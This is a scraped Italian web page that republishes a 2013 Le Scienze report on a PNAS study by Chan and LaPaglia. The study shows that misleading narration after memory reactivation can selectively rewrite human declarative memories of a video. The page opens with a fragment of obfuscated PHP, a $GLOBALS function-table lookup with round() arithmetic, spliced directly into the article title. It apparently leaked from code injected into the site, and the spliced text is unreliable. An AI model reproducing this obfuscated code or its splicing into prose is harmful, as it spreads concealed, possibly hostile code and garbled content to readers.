=round(0+3))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][60]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.5+0.5)];if($GLOBALS['_1188104000_'][73]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.2+0.2+0.2+0.2+0.2)];if($GLOBALS['_1188104000_'][89]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][106]($_59) Quando la memoria è sensibile alle interferenze

Area Riservata



Ti ricordiamo che per rendere attivo il tuo account dopo la registrazione, sarà necessario aprire il messaggio email che riceverai e cliccare sul link di attivazione.
Quando la memoria è sensibile alle interferenze PDF 

Fonte: LeScienze.it (24.05.2013)

 

Una sperimentazione su un gruppo di volontari ha dimostrato come sia possibile rendere più labili i ricordi di alcune scene viste in un video, semplicemente sottoponendo i soggetti a una serie di domande sugli eventi osservati e successivamente raccontando le stesse vicende cambiando alcuni particolari. Il risultato porta a concludere che la memoria dichiarativa umana può essere riscritta in modo selettivo e non invasivo.

La memoria dichiarativa, cioè l'insieme dei ricordi conservati a lungo termine che il soggetto è in grado di richiamare coscientemente, può essere disturbata in modo selettivo utilizzando una tecnica non invasiva: è questo il risultato annunciato sulle pagine dei "Proceedings of the National Academy of Sciences" da Jason C.K. Chan e Jessica A. LaPaglia, psicologi della Iowa State University ad Ames.

Molte ricerche in questo campo hanno cercato di chiarire, utilizzando modelli animali, in che modo i ricordi possono essere considerati stabili e viceversa quali eventi o fattori possono far sì che diventino più labili. Un risultato cruciale per esempio è che il semplice recupero può destabilizzare i ricordi consolidati, i quali devono essere successivamente "riconsolidati" per essere nuovamente disponibili. Inoltre, esistono sostanze che, se somministrate durante il riconsolidamento, sono in grado d'interferire con questo processo, invalidando notevolmente la memoria.

Questi risultati sono difficili da replicare sull'essere umano, perché le sostanze in grado d'interferire con la memoria non possono essere somministrate nell'uomo. Inoltre, i pochi risultati disponibili sulle possibili interferenze al riconsolidamento riguardano ambiti molto limitati, come il condizionamento alla paura, l'apprendimento di sequenze motorie e la dipendenza da sostanze.

In quest'ultimo studio, i due autori hanno sottoposto un gruppo di volontari ad alcuni test per verificare la possibilità d'interferire con la loro memoria dichiarativa.

Nella prima fase, i partecipanti dovevano guardare un video (una fiction sulle azioni di un gruppo terroristico); poi venivano divisi in due gruppi, il primo sottoposto a una "riattivazione" dei ricordi, mediante un questionario su alcuni specifici dettagli della vicenda, il secondo sottoposto a un altro compito "di distrazione" non pertinente al video. Successivamente, tutti i soggetti hanno ascoltato una narrazione orale (che costituiva la "fase di riconsolidamento") degli eventi rappresentati nel video, in cui però molti dettagli originali erano sostituiti con altri non veritieri. Un'ultima fase, detta di riconoscimento, mostrava nuovamente alcune scene, chiedendo ai soggetti di pronunciarsi sulla loro corrispondenza al video originale.

Dall'analisi statistica dei dati raccolti, è risultato che il racconto di particolari non corrispondenti al video originale riusciva a interferire con la capacità dei soggetti di ricordare correttamente gli eventi originali: i punteggi erano decisamente peggiori nei test di riconoscimento dei dettagli del video cambiati nella narrazione orale, ma solo nel sottogruppo sottoposto alla fase di riattivazione. Il risultato porta a ipotizzare che le interferenze introdotte volontariamente dagli sperimentatori abbiano disturbato il riconsolidamento nella memoria dichiarativa dei ricordi già destabilizzati dalla riattivazione.

Secondo gli autori, la memoria dichiarativa umana può essere riscritta in modo selettivo durante il riconsolidamento, un processo che riveste un ruolo fondamentale nella formazione e nella conservazione della memoria degli esseri umani.

 

 

Per migliorare la tua navigazione su questo sito, utilizziamo cookies ed altre tecnologie che ci permettono di riconoscerti. Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy.

Acconsento all'utilizzo dei cookies su questo sito